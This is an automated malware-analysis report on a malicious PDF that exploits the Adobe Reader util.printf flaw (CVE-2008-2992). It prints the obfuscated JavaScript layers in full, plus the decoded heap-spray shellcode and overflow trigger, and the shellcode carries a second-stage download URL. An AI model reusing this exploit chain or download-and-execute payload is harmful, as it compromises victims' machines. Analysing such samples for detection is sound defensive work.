Malicious PDF — malware analysis report

Static analysis result for SHA-256 762fd8c0d07a6ab3…

MALICIOUS

PDF

4.0 KB First seen: 2012-07-12
MD5: 73d49e84e46b6198a1c8505a42b37d6b SHA-1: 0fe31f28e2d4d3af86f561be2aa66eecf8cd0cdf SHA-256: 762fd8c0d07a6ab3355955676edf0253bc77fe265f4a4d238f41fbb9d2e4b6f9
336 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that exploits CVE-2008-2992, leveraging `eval()` and `String.fromCharCode()` to decode and execute a payload. The script contains a URL, http://93.174.93.11/~delmonca/u/load.php, which is likely used to download a second-stage malicious component. The presence of exploit cluster heuristics and a high ML classifier score further support its malicious nature.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • ClamAV: Pdf.Dropper.Agent-5343178-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-5343178-0
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                            eval(output);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://93.174.93.11/~delmonca/u/load.php Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x368 6345 bytes
SHA-256: fcd6eeec79c19e246bc844d65f7752799e162c09943d1afcac99f41839eedce2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var Base64 = {
                _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
                decode : function (input) {
                        var output = "";
                        var chr1, chr2, chr3;
                        var enc1, enc2, enc3, enc4;
                        var i = 0;
                        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
                        while (i < input.length) {
                                enc1 = this._keyStr.indexOf(input.charAt(i++));
                                enc2 = this._keyStr.indexOf(input.charAt(i++));
                                enc3 = this._keyStr.indexOf(input.charAt(i++));
                                enc4 = this._keyStr.indexOf(input.charAt(i++));
                                chr1 = (enc1 << 2) | (enc2 >> 4);
                                chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
                                chr3 = ((enc3 & 3) << 6) | enc4;
                                output = output + String.fromCharCode(chr1);
                                if (enc3 != 64) {
                                        output = output + String.fromCharCode(chr2);
                                }
                                if (enc4 != 64) {
                                        output = output + String.fromCharCode(chr3);
                                }
                        }
                        eval(output);
                }
        }
        Base64.decode("ZnVuY3Rpb24gYUtWc2xYdFdlRFoyOChjbXdPdWYpeyByZXR1cm4gU3RyaW5nWydmcm9tQ2hhckNvZGUnXShjbXdPdWYpO30gZnVuY3Rpb24gYnVPYjY5TTQxVyhIS0RxRmY0Vyl7IHZhciBZazI3R2ZWdz0wLCBVMnVOa3RRUFRMdj1IS0RxRmY0Vy5sZW5ndGgsIFlYc1ZQPTEwMjQsIEJrb0dhdnQwMTRLRE1BLCBDclJ0NXMsIHpEZ3hzM3RqOUM9JycsIGZEY3R1Mj1ZazI3R2ZWdywgdEIzSWNobE56Rz1ZazI3R2ZWdywgUGM0VlFnemNIUEhVcjk9WWsyN0dmVncsIFBDN2RWNXdicWtEb1liPUFycmF5KDYzLDMwLDU0LDEyLDQ0LDEzLDUsNDgsNTMsMTYsMCwwLDAsMCwwLDAsNjAsNDMsMTcsMywxOCwyLDM0LDUxLDUyLDQwLDQ1LDM3LDQxLDI4LDUwLDU1LDI1LDU2LDQ3LDM4LDIyLDYyLDQ2LDM5LDMzLDYxLDU4LDAsMCwwLDAsNCwwLDYsMjQsMTQsMjEsNywzNiw1OSwxNSwyNiw0OSw5LDgsMTEsMzIsMjcsMzUsMjksMTAsMjMsMCw0MiwxOSwxLDU3LDIwLDMxKTsgZm9yKENyUnQ1cz1NYXRoLmNlaWwoVTJ1Tmt0UVBUTHYvWVhzVlApO0NyUnQ1cz5ZazI3R2ZWdztDclJ0NXMtLSl7IGZvcihCa29HYXZ0MDE0S0RNQT1NYXRoLm1pbihVMnVOa3RRUFRMdixZWHNWUCk7QmtvR2F2dDAxNEtETUE+WWsyN0dmVnc7QmtvR2F2dDAxNEtETUEtLSxVMnVOa3RRUFRMdi0tKXsgUGM0VlFnemNIUEhVcjl8PShQQzdkVjV3YnFrRG9ZYltIS0RxRmY0Vy5jaGFyQ29kZUF0KGZEY3R1MisrKS00OF0pPDx0QjNJY2hsTnpHOyBpZih0QjNJY2hsTnpHKXsgekRneHMzdGo5Qys9YUtWc2xYdFdlRFoyOCgxMDBeUGM0VlFnemNIUEhVcjkmMjU1KTsgUGM0VlFnemNIUEhVcjk+Pj04OyB0QjNJY2hsTnpHLT0yOyB9IGVsc2UgeyB0QjNJY2hsTnpHPTY7IH0gfSB9IGV2YWwoekRneHMzdGo5Qyk7IH0gYnVPYjY5TTQxVygnczc5dGxuN3dtdDl0UDZYRXdNanc2OUJ0M1B5OUJ0OGQ5cWQ5QnQ4ZDlxZDlCdDhkOXFkOUI5S2xYYkQ5Qk04ZEJQRDlCbEt5V0hkOUI3NmRTSGQ5Qjc2ZHlkZDlCX0Zsc3FkOUJfRmQ5cWQ5Ql9Ga0Z5RDlCX0VzeTZkOUJsRmxYTUQ5QmxGbEZsRDlCN0trdmtEOUJ0Rmw5NkQ5Ql9GbFhsRDlCbDZ5WGxEOUJfTmRLbEQ5QkhLbER3ZDlCdEtkRk1kOUJIS2xEd2Q5QmxkbFgzZDlCX0ZseXFkOUJfRmxYYkQ5Qmw2eVhsRDlCYkRzeXFkOUJsZGRNNWQ5Ql9EZEt5ZDlCOTh5eXFkOUJfRmxkZGQ5Ql9GbFhsRDlCeURrRGtkOUJiRHNYYkQ5QjM4eU01ZDlCbGR5ZGRkOUI5OHlYeWQ5Ql9GbGRrRDlCX0ZsWGxEOUJ5RGtEa2Q5QmJEc1gzZDlCTURrTTVkOUJ5NmRCa0Q5Qjk4eVR3RDlCX0ZseXdEOUJfRmxYbEQ5QnlEa0RrZDlCYkRzWE1kOUI5NmRNNWQ5QjlLbFRkZDlCOTh5TWtEOUJfRmxzUEQ5Ql9GbFhsRDlCeURrRGtkOUJiRHNGbEQ5QmJkbE01ZDlCOWRrcWtkOUI5OHlCNWQ5Ql9GbFQ4ZDlCX0ZsWGxEOUJ5RGtEa2Q5QnlGbEZiRDlCdE55RGtEOUJIZGtUcUQ5QmxLeWQ2ZDlCbE55S3lEOUJfRXN5a2Q5Ql9GbFhfRDlCYkRkWGxEOUJIZGtEa2Q5Qmw2eVdiRDlCX0ZrS3lEOUJfRGxNNmQ5Qmw2eVNsZDlCbE55U3lEOUI5OHlTSGQ5Ql9GbER3ZDlCX0ZsWGxEOUI3OHlTbEQ5QmxEeW5IZDlCSEtsVzlkOUIzNnN5NWQ5Ql9GbFhsRDlCbEt5WGxEOUJsTmRLeUQ5QmJka0R3ZDlCYktsRHFEOUJsS3lTbEQ5Qk1GbEt5RDlCeTZkTTVkOUJfRmxYbEQ5QmJGbFhsRDlCeURrRHdkOUI3ZHlGYkQ5QmJGeVh0RDlCYkRrRHdkOUI5OHlGM2Q5Ql9GbE02RDlCX0ZsWGxEOUJ5RGtYTUQ5QmI2c1dsRDlCYk5kWGxEOUJNRGRxZGQ5QmI2c01kRDlCX0ZrS2xEOUI3ZGtxNWQ5Ql9GbFhsRDlCSGRrZEJkOUJsNnlXbEQ5Ql9OZEt5RDlCX0RsTTZkOUJsNnlTbGQ5QmxOeVN5RDlCeUZseTVkOUJfRmxYbEQ5QjdkeVhsRDlCYk55WDdkOUJ5RGtYTUQ5QnROa1diRDlCYk5rc3dkOUJ5NmRTTUQ5Qk1GbHFkRDlCYk5rU2xEOUJ5RGtEd2Q5QjdkeUZNZDlCYkZ5WHlEOUJiRGtEd2Q5Qjk4eUYzZDlCX0ZsV01EOUJfRmxYbEQ5Ql9GbE02ZDlCSGRrZEJkOUJsNnlXbEQ5Ql9OeUt5RDlCX0VsTTZkOUJsNnlTbGQ5QmxOeVN5RDlCbEZseTVkOUJfRmxYbEQ5QjdkeVhsRDlCbDZ5ZEJkOUJsRmxLeUQ5Ql9EbE02ZDlCbDZ5U2xkOUJsTnlTeUQ5Ql9GbHk1ZDlCX0ZsWGxEOUJ5RGxYbEQ5QmJFbFN0ZDlCOWRsWE1EOUI5ZGxYTUQ5QjlkbFhNRDlCOWRsWE1EOUI5OGREcUQ5QmJEeVhiRDlCbDZ5U01EOUI5NmxzNmQ5QmJFbGRqZDlCOUtsZEJkOUJsNnlTeUQ5Qmw2eXlxZDlCX055cVBkOUJiRmREd2Q5QmJEc1hNZDlCSDhrRHdkOUJsNnluTWQ5QmxEZHFQRDlCX05rcTVkOUJiRHNkcUQ5Qkhkc0R3ZDlCX05rV2xEOUJ0TmtkcUQ5QnlGeVRrZDlCdEtkS19EOUJiOGtYTUQ5QnROa1NIZDlCX0VkZDhkOUJsRmxCZGQ5Qnk2bG5fZDlCX055cVBEOUJiZGRUNkQ5Ql9Oa1hiZDlCeUZsZHdEOUJ5ZGx5d2Q5QnlkZG50ZDlCSGRrU3lkOUJiRHl5ZEQ5Qjk2eUR3ZDlCYkR5RHdkOUJfTmtXYkQ5Qjdkc3NQZDlCX05kRHdkOUJsNnlLdGQ5QmxOZFNfZDlCTUtkWE1EOUJfRmtEd2Q5Ql9Oa0R3ZDlCYkRkVGREOUJiNmxTYmQ5Ql9GbFgzZDlCeUtreTVkOUJ5NmRkZGQ5QmJEa2RCZDlCeU5kU3REOUJ5RWRLYmQ5Ql9GbEt5ZDlCMzZ5RGpkOUIzNmR2d2Q5QmJLbHNkRDlCTWRzVGtEOUJiZGxzcWQ5Qk04eXNkZDlCYmRsc3dkOUJNOGRzOGQ5Qk1kZFQ2RDlCYktsc2RkOUJsNnl2NkQ5Qmw4a0Q2ZDlCbEtsRHdEOUJsOGRENkQ5QmJLbERkZDlCYktsdjZkOUJsS2xEcUQ5Qmw2eURkZDlCMzZkVDZEOUIzNmREaktCNVk2QkR5bjZfcXc2VGZkX3JfNzZleXQ2dzdmQnc2d2RLOWRrdzZ3ZEs5ZGthOEhzRHluNl9MOUVQUDZkemtCd1Q5ZnRDZktFa0BINjNfdEVsTTdFdF9uRGxfbkVDdHdDejV3QzVuOXQzcXc2VElfRXdJN3Q5N3RURTM5dnM5WDZoSzg2eWJqc0R5bjZfTDlFYWJCVHM5WDZycUJfYU13X1RIbkVDN19kbGs3dDVZS182YndCc3RCQ0NmODZ5YlhEc19Yd3N0WDY1STd0M0I2RHM5WDZyWDl0cjN0XzNmZnRDSEhzdjc5Q2xfdHZzdEJDQ0lfRXdJN3Q5Nzd2RTN0VHlqWHl5QjZkeThINjlIN3RQcXdfNTM3dnN0QkNDQGZFa2JuNnprQndUOXl3VGJCRVBMOXR2OXlrVGJCd3E3eXZ6azdFVDd5QzFmNmR6OG5lYmRLZHlCOHM1UWp2aDhIZTZiWDZrQHZDMWZ2VHN0QkNDQEg2M190RWxNN0V0XzlhRHluNl93dEVyZjlUYWRLZHE4ZHNxOGRzcThkc2FZZkJxOGRzcThLQmhQeXNxOGRzTWo2c01qNnNNUEh2YWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01QSHZhajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c2FZZkJNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qNnNNajZzTWo2c01qS0JoUF9zTWo2c01qNnNNajZzTWo2c2FZZkJNajZzTWo2c01qNnNNajZzTWo2c01qNnNNUEh2YWo2c01qNnNNajZzTWo2c01qNnNhWWRfOUh0RXJCWDY1SXRfRTdmQnd3ZHl5QjZkRWJfRHRubkVrSEhzJyk7");
acroform_b64_00.js deobfuscated-js PDF AcroForm base64 (decompressed) at offset 0x99D 3606 bytes
SHA-256: 98e90fd776462582cef00977315108a1c3cbc23b2ab3b45fc61deea15d6afb82
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). 13 of 24 identifiers look randomly generated (e.g. 's79tln7wmt9tP6XEwMjw69Bt3Py9Bt8d9qd9Bt8d') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function aKVslXtWeDZ28(cmwOuf){ return String['fromCharCode'](cmwOuf);} function buOb69M41W(HKDqFf4W){ var Yk27GfVw=0, U2uNktQPTLv=HKDqFf4W.length, YXsVP=1024, BkoGavt014KDMA, CrRt5s, zDgxs3tj9C='', fDctu2=Yk27GfVw, tB3IchlNzG=Yk27GfVw, Pc4VQgzcHPHUr9=Yk27GfVw, PC7dV5wbqkDoYb=Array(63,30,54,12,44,13,5,48,53,16,0,0,0,0,0,0,60,43,17,3,18,2,34,51,52,40,45,37,41,28,50,55,25,56,47,38,22,62,46,39,33,61,58,0,0,0,0,4,0,6,24,14,21,7,36,59,15,26,49,9,8,11,32,27,35,29,10,23,0,42,19,1,57,20,31); for(CrRt5s=Math.ceil(U2uNktQPTLv/YXsVP);CrRt5s>Yk27GfVw;CrRt5s--){ for(BkoGavt014KDMA=Math.min(U2uNktQPTLv,YXsVP);BkoGavt014KDMA>Yk27GfVw;BkoGavt014KDMA--,U2uNktQPTLv--){ Pc4VQgzcHPHUr9|=(PC7dV5wbqkDoYb[HKDqFf4W.charCodeAt(fDctu2++)-48])<<tB3IchlNzG; if(tB3IchlNzG){ zDgxs3tj9C+=aKVslXtWeDZ28(100^Pc4VQgzcHPHUr9&255); Pc4VQgzcHPHUr9>>=8; tB3IchlNzG-=2; } else { tB3IchlNzG=6; } } } eval(zDgxs3tj9C); } buOb69M41W('s79tln7wmt9tP6XEwMjw69Bt3Py9Bt8d9qd9Bt8d9qd9Bt8d9qd9B9KlXbD9BM8dBPD9BlKyWHd9B76dSHd9B76dydd9B_Flsqd9B_Fd9qd9B_FkFyD9B_Esy6d9BlFlXMD9BlFlFlD9B7KkvkD9BtFl96D9B_FlXlD9Bl6yXlD9B_NdKlD9BHKlDwd9BtKdFMd9BHKlDwd9BldlX3d9B_Flyqd9B_FlXbD9Bl6yXlD9BbDsyqd9BlddM5d9B_DdKyd9B98yyqd9B_Flddd9B_FlXlD9ByDkDkd9BbDsXbD9B38yM5d9Bldyddd9B98yXyd9B_FldkD9B_FlXlD9ByDkDkd9BbDsX3d9BMDkM5d9By6dBkD9B98yTwD9B_FlywD9B_FlXlD9ByDkDkd9BbDsXMd9B96dM5d9B9KlTdd9B98yMkD9B_FlsPD9B_FlXlD9ByDkDkd9BbDsFlD9BbdlM5d9B9dkqkd9B98yB5d9B_FlT8d9B_FlXlD9ByDkDkd9ByFlFbD9BtNyDkD9BHdkTqD9BlKyd6d9BlNyKyD9B_Esykd9B_FlX_D9BbDdXlD9BHdkDkd9Bl6yWbD9B_FkKyD9B_DlM6d9Bl6ySld9BlNySyD9B98ySHd9B_FlDwd9B_FlXlD9B78ySlD9BlDynHd9BHKlW9d9B36sy5d9B_FlXlD9BlKyXlD9BlNdKyD9BbdkDwd9BbKlDqD9BlKySlD9BMFlKyD9By6dM5d9B_FlXlD9BbFlXlD9ByDkDwd9B7dyFbD9BbFyXtD9BbDkDwd9B98yF3d9B_FlM6D9B_FlXlD9ByDkXMD9Bb6sWlD9BbNdXlD9BMDdqdd9Bb6sMdD9B_FkKlD9B7dkq5d9B_FlXlD9BHdkdBd9Bl6yWlD9B_NdKyD9B_DlM6d9Bl6ySld9BlNySyD9ByFly5d9B_FlXlD9B7dyXlD9BbNyX7d9ByDkXMD9BtNkWbD9BbNkswd9By6dSMD9BMFlqdD9BbNkSlD9ByDkDwd9B7dyFMd9BbFyXyD9BbDkDwd9B98yF3d9B_FlWMD9B_FlXlD9B_FlM6d9BHdkdBd9Bl6yWlD9B_NyKyD9B_ElM6d9Bl6ySld9BlNySyD9BlFly5d9B_FlXlD9B7dyXlD9Bl6ydBd9BlFlKyD9B_DlM6d9Bl6ySld9BlNySyD9B_Fly5d9B_FlXlD9ByDlXlD9BbElStd9B9dlXMD9B9dlXMD9B9dlXMD9B9dlXMD9B98dDqD9BbDyXbD9Bl6ySMD9B96ls6d9BbEldjd9B9KldBd9Bl6ySyD9Bl6yyqd9B_NyqPd9BbFdDwd9BbDsXMd9BH8kDwd9Bl6ynMd9BlDdqPD9B_Nkq5d9BbDsdqD9BHdsDwd9B_NkWlD9BtNkdqD9ByFyTkd9BtKdK_D9Bb8kXMD9BtNkSHd9B_Edd8d9BlFlBdd9By6ln_d9B_NyqPD9BbddT6D9B_NkXbd9ByFldwD9Bydlywd9Byddntd9BHdkSyd9BbDyydD9B96yDwd9BbDyDwd9B_NkWbD9B7dssPd9B_NdDwd9Bl6yKtd9BlNdS_d9BMKdXMD9B_FkDwd9B_NkDwd9BbDdTdD9Bb6lSbd9B_FlX3d9ByKky5d9By6dddd9BbDkdBd9ByNdStD9ByEdKbd9B_FlKyd9B36yDjd9B36dvwd9BbKlsdD9BMdsTkD9Bbdlsqd9BM8ysdd9Bbdlswd9BM8ds8d9BMddT6D9BbKlsdd9Bl6yv6D9Bl8kD6d9BlKlDwD9Bl8dD6D9BbKlDdd9BbKlv6d9BlKlDqD9Bl6yDdd9B36dT6D9B36dDjKB5Y6BDyn6_qw6Tfd_r_76eyt6w7fBw6wdK9dkw6wdK9dka8HsDyn6_L9EPP6dzkBwT9ftCfKEk@H63_tElM7Et_nDl_nECtwCz5wC5n9t3qw6TI_EwI7t97tTE39vs9X6hK86ybjsDyn6_L9EabBTs9X6rqB_aMw_THnEC7_dlk7t5YK_6bwBstBCCf86ybXDs_XwstX65I7t3B6Ds9X6rX9tr3t_3fftCHHsv79Cl_tvstBCCI_EwI7t977vE3tTyjXyyB6dy8H69H7tPqw_537vstBCC@fEkbn6zkBwT9ywTbBEPL9tv9ykTbBwq7yvzk7ET7yC1f6dz8nebdKdyB8s5Qjvh8He6bX6k@vC1fvTstBCC@H63_tElM7Et_9aDyn6_wtErf9TadKdq8dsq8dsq8dsaYfBq8dsq8KBhPysq8dsMj6sMj6sMPHvaj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMPHvaj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6saYfBMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMj6sMjKBhP_sMj6sMj6sMj6sMj6saYfBMj6sMj6sMj6sMj6sMj6sMj6sMPHvaj6sMj6sMj6sMj6sMj6saYd_9HtErBX65It_E7fBwwdyyB6dEb_DtnnEkHHs');
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 2 (PDF /JS object 13) at offset 0x95E 2025 bytes
SHA-256: 85fe71200c33f398824631ccde606ec4fbbce8035fb8611c145accabab2137e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
shellcode=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u392F%u2E33%u3731%u2E34%u3339%u312E%u2F31%u647E%u6C65%u6F6D%u636E%u2F61%u2F75%u6F6C%u6461%u702E%u7068"); var spr=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+shellcode.length;while(spr.length<fg)spr+=spr;var nmbr=spr.substring(0,fg);var stig=spr.substring(0,spr.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+shellcode}var dlnm="12999999999"+"99999"+"99998888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",dlnm);

Open this report in the interactive analyzer, or submit your own file for analysis.